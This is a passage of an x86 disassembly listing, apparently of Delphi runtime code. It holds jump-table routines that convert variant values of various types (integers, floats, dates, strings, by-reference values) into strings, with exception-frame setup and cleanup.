		lea	edx, [ebp+var_4] ; jumptable 4001170F case 2
		movsx	eax, word ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400117B9:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_8] ; jumptable 4001170F case 3
		mov	eax, [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400117D3:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		fld	dword ptr [ebx+8] ; jumptable 4001170F case 4
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_C]
		call	sub_40008E14
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400117F4:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		fld	qword ptr [ebx+8] ; jumptable 4001170F case 5
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_10]
		call	sub_40008E14
		mov	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011815:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		push	dword ptr [ebx+0Ch] ; jumptable	4001170F case 6
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_14]
		call	sub_400113EC
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011832:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		push	dword ptr [ebx+0Ch] ; jumptable	4001170F case 7
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_18]
		call	sub_40011424
		mov	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001184F:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	eax, [ebp+var_1C] ; jumptable 4001170F case 8
		push	eax
		mov	eax, [ebx+8]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		mov	edx, [ebp+var_1C]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011874:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_20] ; jumptable 4001170F case 11
		movzx	eax, word ptr [ebx+8]
		call	sub_4001145C
		mov	edx, [ebp+var_20]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001188F:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_24] ; jumptable 4001170F case 16
		movsx	eax, byte ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_24]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400118AA:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_28] ; jumptable 4001170F case 17
		movzx	eax, byte ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_28]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400118C5:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_2C] ; jumptable 4001170F case 18
		movzx	eax, word ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_2C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400118E0:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		mov	eax, [ebx+8]	; jumptable 4001170F case 19
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_30]
		call	sub_40007D84
		mov	edx, [ebp+var_30]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_400118FE:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		push	dword ptr [ebx+0Ch] ; jumptable	4001170F case 20
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_34]
		call	sub_40007D84
		mov	edx, [ebp+var_34]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001191B:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		mov	eax, [ebx+8]	; jumptable 4001170F case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_400116DC
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001192C:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		lea	edx, [ebp+var_38] ; jumptable 4001170F cases 9,13
		mov	eax, ebx
		call	sub_40011524
		mov	edx, [ebp+var_38]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011945:				; CODE XREF: sub_400116DC+2Dj
					; sub_400116DC+33j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 4001170F cases 10,14,15
		sub	dx, 100h
		jz	short loc_40011955
		dec	dx
		jz	short loc_40011964
		jmp	short loc_4001197D
; ---------------------------------------------------------------------------


loc_40011955:				; CODE XREF: sub_400116DC+270j
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011964:				; CODE XREF: sub_400116DC+275j
		lea	edx, [ebp+var_3C]
		mov	eax, ebx
		call	sub_400115F0
		mov	edx, [ebp+var_3C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001197D:				; CODE XREF: sub_400116DC+277j
		test	ah, 40h
		jz	loc_40011B91
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_40011B7B	; default
					; jumptable 40011997 cases 0,1,9,10,13-15
		jmp	ds:off_4001199E[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_4001199E	dd offset loc_40011B7B	; DATA XREF: sub_400116DC+2BBr
		dd offset loc_40011B7B	; jump table for switch	statement
		dd offset loc_400119F2
		dd offset loc_40011A0F
		dd offset loc_40011A2B
		dd offset loc_40011A4E
		dd offset loc_40011A71
		dd offset loc_40011A90
		dd offset loc_40011AAF
		dd offset loc_40011B7B
		dd offset loc_40011B7B
		dd offset loc_40011AC0
		dd offset loc_40011B6D
		dd offset loc_40011B7B
		dd offset loc_40011B7B
		dd offset loc_40011B7B
		dd offset loc_40011ADD
		dd offset loc_40011AFA
		dd offset loc_40011B17
		dd offset loc_40011B34
		dd offset loc_40011B51
; ---------------------------------------------------------------------------


loc_400119F2:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_40] ; jumptable 40011997 case 2
		mov	eax, [ebx+8]
		movsx	eax, word ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_40]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A0F:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_44] ; jumptable 40011997 case 3
		mov	eax, [ebx+8]
		mov	eax, [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_44]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A2B:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 4
		fld	dword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_48]
		call	sub_40008E14
		mov	edx, [ebp+var_48]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A4E:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 5
		fld	qword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+94h+var_94]
		wait
		lea	eax, [ebp+var_4C]
		call	sub_40008E14
		mov	edx, [ebp+var_4C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A71:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 6
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_50]
		call	sub_400113EC
		mov	edx, [ebp+var_50]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011A90:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 7
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_54]
		call	sub_40011424
		mov	edx, [ebp+var_54]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011AAF:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, esi	; jumptable 40011997 case 8
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_40004AAC
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011AC0:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_58] ; jumptable 40011997 case 11
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_4001145C
		mov	edx, [ebp+var_58]
		mov	eax, esi
		call	sub_40004B0C
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011ADD:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_5C] ; jumptable 40011997 case 16
		mov	eax, [ebx+8]
		movsx	eax, byte ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_5C]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011AFA:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_60] ; jumptable 40011997 case 17
		mov	eax, [ebx+8]
		movzx	eax, byte ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_60]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B17:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		lea	edx, [ebp+var_64] ; jumptable 40011997 case 18
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_64]
		mov	eax, esi
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B34:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 19
		mov	eax, [eax]
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_68]
		call	sub_40007D84
		mov	edx, [ebp+var_68]
		mov	eax, esi
		call	sub_400048D8
		jmp	short loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B51:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 20
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_6C]
		call	sub_40007D84
		mov	edx, [ebp+var_6C]
		mov	eax, esi
		call	sub_400048D8
		jmp	short loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B6D:				; CODE XREF: sub_400116DC+2BBj
					; DATA XREF: sub_400116DC:off_4001199Eo
		mov	eax, [ebx+8]	; jumptable 40011997 case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_400116DC
		jmp	short loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B7B:				; CODE XREF: sub_400116DC+2B5j
					; sub_400116DC+2BBj
					; DATA XREF: ...
		lea	edx, [ebp+var_70] ; default
					; jumptable 40011997 cases 0,1,9,10,13-15
		mov	eax, ebx
		call	sub_40011524
		mov	edx, [ebp+var_70]
		mov	eax, esi
		call	sub_400048D8
		jmp	short loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011B91:				; CODE XREF: sub_400116DC+2A4j
		mov	eax, esi
		call	sub_40004884
		mov	edx, eax
		mov	eax, ebx
		call	sub_40011654
		test	al, al
		jnz	short loc_40011BB9
		lea	edx, [ebp+var_74]
		mov	eax, ebx
		call	sub_40011524
		mov	edx, [ebp+var_74]
		mov	eax, esi
		call	sub_400048D8


loc_40011BB9:				; CODE XREF: sub_400116DC+95j
					; sub_400116DC+BDj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011C0F


loc_40011BC6:				; CODE XREF: sub_400116DC+531j
		lea	eax, [ebp+var_74]
		mov	edx, 7
		call	sub_400048A8
		lea	eax, [ebp+var_58]
		mov	edx, 3
		call	sub_40005020
		lea	eax, [ebp+var_4C]
		mov	edx, 0Bh
		call	sub_400048A8
		lea	eax, [ebp+var_20]
		mov	edx, 4
		call	sub_40005020
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40011C08:				; DATA XREF: sub_400116DC+19o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011BC6
; ---------------------------------------------------------------------------


loc_40011C0F:				; CODE XREF: sub_400116DC+52Bj
					; DATA XREF: sub_400116DC+4E5o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400116DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011C18	proc near		; CODE XREF: sub_40011DFC+247p
					; sub_40011DFC+496p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40011CC2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40011CA5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	8
		push	0
		push	400h
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 8
		call	sub_4000E034
		push	esi
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+var_8]
		call	sub_4000511C
		mov	eax, [ebp+var_14]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011CAC


loc_40011C9C:				; CODE XREF: sub_40011C18+92j
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40011CA5:				; DATA XREF: sub_40011C18+2Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011C9C
; ---------------------------------------------------------------------------


loc_40011CAC:				; CODE XREF: sub_40011C18+8Cj
					; DATA XREF: sub_40011C18+7Fo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011CC9


loc_40011CB9:				; CODE XREF: sub_40011C18+AFj
		lea	eax, [ebp+var_14]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40011CC2:				; DATA XREF: sub_40011C18+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011CB9
; ---------------------------------------------------------------------------


loc_40011CC9:				; CODE XREF: sub_40011C18+A9j
					; DATA XREF: sub_40011C18+9Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011C18	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011CD0	proc near		; CODE XREF: sub_40011DFC+27Fp

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40011D26
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_10]
		call	sub_4000E700
		lea	eax, [ebp+var_10]
		call	ds:off_4001F29C
		lea	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_40011DFC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011D2D


loc_40011D1D:				; CODE XREF: sub_40011CD0+5Bj
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40011D26:				; DATA XREF: sub_40011CD0+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011D1D
; ---------------------------------------------------------------------------


loc_40011D2D:				; CODE XREF: sub_40011CD0+55j
					; DATA XREF: sub_40011CD0+48o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011CD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011D34	proc near		; CODE XREF: sub_40011DFC+4B2p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		xor	ecx, ecx
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_40011D50
		xor	edx, edx
		mov	[eax], edx


loc_40011D50:				; CODE XREF: sub_40011D34+16j
		xor	eax, eax
		push	ebp
		push	offset loc_40011DEC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_C]
		movzx	eax, word ptr [ebx]
		call	sub_40012D98
		mov	[ebp+var_5], al
		cmp	[ebp+var_5], 0
		jz	short loc_40011DD6
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40011DCF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	8
		mov	ecx, ebx
		lea	edx, [ebp+var_1C]
		mov	eax, [ebp+var_C]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_14]
		call	sub_4000511C
		mov	eax, [ebp+var_20]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011DD6


loc_40011DC6:				; CODE XREF: sub_40011D34+A0j
		lea	eax, [ebp+var_1C]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40011DCF:				; DATA XREF: sub_40011D34+4Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011DC6
; ---------------------------------------------------------------------------


loc_40011DD6:				; CODE XREF: sub_40011D34+3Cj
					; sub_40011D34+9Aj
					; DATA XREF: ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40011DF3


loc_40011DE3:				; CODE XREF: sub_40011D34+BDj
		lea	eax, [ebp+var_20]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_40011DEC:				; DATA XREF: sub_40011D34+1Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011DE3
; ---------------------------------------------------------------------------


loc_40011DF3:				; CODE XREF: sub_40011D34+B7j
					; DATA XREF: sub_40011D34+AAo
		movzx	eax, [ebp+var_5]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011D34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011DFC	proc near		; CODE XREF: sub_4000E7B0+19p
					; sub_4000EBF8+1Fp ...

var_90		= tbyte	ptr -90h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Eh


loc_40011E04:				; CODE XREF: sub_40011DFC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_40011E04
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40012341
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_40012057	; default
					; jumptable 40011E2E cases 10,14,15
		jmp	ds:off_40011E35[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40011E35	dd offset loc_40011E89	; DATA XREF: sub_40011DFC+32r
		dd offset loc_40011E95	; jump table for switch	statement
		dd offset loc_40011EBD
		dd offset loc_40011ED8
		dd offset loc_40011EF2
		dd offset loc_40011F13
		dd offset loc_40011F34
		dd offset loc_40011F51
		dd offset loc_40011F6E
		dd offset loc_4001203E
		dd offset loc_40012057
		dd offset loc_40011F86
		dd offset loc_4001202D
		dd offset loc_4001203E
		dd offset loc_40012057
		dd offset loc_40012057
		dd offset loc_40011FA1
		dd offset loc_40011FBC
		dd offset loc_40011FD7
		dd offset loc_40011FF2
		dd offset loc_40012010
; ---------------------------------------------------------------------------


loc_40011E89:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		mov	eax, esi	; jumptable 40011E2E case 0
		call	sub_40005008
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011E95:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		cmp	byte_4001AA10, 0 ; jumptable 40011E2E case 1
		jz	short loc_40011EAB
		mov	dx, 8
		mov	ax, 1
		call	sub_4000DBF4


loc_40011EAB:				; CODE XREF: sub_40011DFC+A0j
		mov	eax, esi
		mov	edx, dword_4001AA14
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011EBD:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_4] ; jumptable 40011E2E case 2
		movsx	eax, word ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011ED8:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_8] ; jumptable 40011E2E case 3
		mov	eax, [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011EF2:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		fld	dword ptr [ebx+8] ; jumptable 40011E2E case 4
		add	esp, 0FFFFFFF4h
		fstp	[esp+90h+var_90]
		wait
		lea	eax, [ebp+var_C]
		call	sub_40008E14
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F13:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		fld	qword ptr [ebx+8] ; jumptable 40011E2E case 5
		add	esp, 0FFFFFFF4h
		fstp	[esp+90h+var_90]
		wait
		lea	eax, [ebp+var_10]
		call	sub_40008E14
		mov	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F34:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		push	dword ptr [ebx+0Ch] ; jumptable	40011E2E case 6
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_14]
		call	sub_400113EC
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F51:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		push	dword ptr [ebx+0Ch] ; jumptable	40011E2E case 7
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_18]
		call	sub_40011424
		mov	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F6E:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		push	esi		; jumptable 40011E2E case 8
		mov	eax, [ebx+8]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011F86:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_1C] ; jumptable 40011E2E case 11
		movzx	eax, word ptr [ebx+8]
		call	sub_4001145C
		mov	edx, [ebp+var_1C]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011FA1:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_20] ; jumptable 40011E2E case 16
		movsx	eax, byte ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_20]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011FBC:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_24] ; jumptable 40011E2E case 17
		movzx	eax, byte ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_24]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011FD7:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_28] ; jumptable 40011E2E case 18
		movzx	eax, word ptr [ebx+8]
		call	sub_40007C98
		mov	edx, [ebp+var_28]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40011FF2:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		mov	eax, [ebx+8]	; jumptable 40011E2E case 19
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_2C]
		call	sub_40007D84
		mov	edx, [ebp+var_2C]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012010:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		push	dword ptr [ebx+0Ch] ; jumptable	40011E2E case 20
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_30]
		call	sub_40007D84
		mov	edx, [ebp+var_30]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001202D:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		mov	eax, [ebx+8]	; jumptable 40011E2E case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_40011DFC
